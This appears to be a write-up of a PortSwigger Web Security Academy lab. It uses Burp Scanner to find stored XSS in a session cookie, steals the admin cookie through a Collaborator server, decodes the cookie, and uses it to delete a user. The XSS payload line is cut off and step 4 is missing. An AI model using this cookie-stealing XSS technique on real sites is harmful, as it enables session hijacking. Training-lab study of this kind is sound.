> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/essential-skills/analyzing-non-standard-data-structures.md). # Analysis of Non-standard Data Structures Analysis of Non-standard Data Structures notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context. ### Scanning Non-standard Data Structures **Lab Background** This lab contains a vulnerability that is difficult to identify manually because it is located in a **non-standard data structure**. / The objective is to use **Burp Scanner**, in particular the **Scan selected insertion point** functionality, to detect vulnerability, and then manually exploit it to **remove user `carlos`**. Identifier provided: * **User**: wiener * **Password**: peter **Step 1 – Authentication** Connect to the application via the login page with the provided credentials.

**Step 2 – Targeted Scan at an insertion point** Instead of running a global scan, a highly targeted scan is performed: * An authenticated request is intercepted. * Only the **session cookie value** is selected.

* We launch **Burp Scanner → Scan selected insertion point** on this specific element. This minimalist scan allows to analyze an area rarely tested manually: the internal structure of the cookie.

**Step 3 – Vulnerability Detection** Burp Scanner identifies a vulnerability of type: * **Cross-Site Scripting (XSS) stored** The detected payload is injected directly into the session cookie.

Example of initial payload detected: {% code overflow="wrap" %} ```bash Cookie: session='">

**Step 5 – Recovery and decoding of admin cookie** The Collaborator server receives a request containing the cookie encoded in Base64: ```bash GET /c2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY7IHNlY3JldD1TTjhvd081cHQ3d2Zsb2IxVkhSWG11U2E1YmI4MmlHWDsgc2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY= ``` After decoding, we obtain: ```bash session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv; secret=SN8owO5pt7wflob1VHRXmuSa5bb82iGX; session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv ```

**Step 6 – Administrator access and final operation** Using the admin session cookie: * The interface **admin** is accessed. * An internal page of **logs** is accessible. * This page displayed cookies without filtering, which explains the persistence of the **XSS stored**. * It is then possible to remove the user **carlos** and validate the lab.

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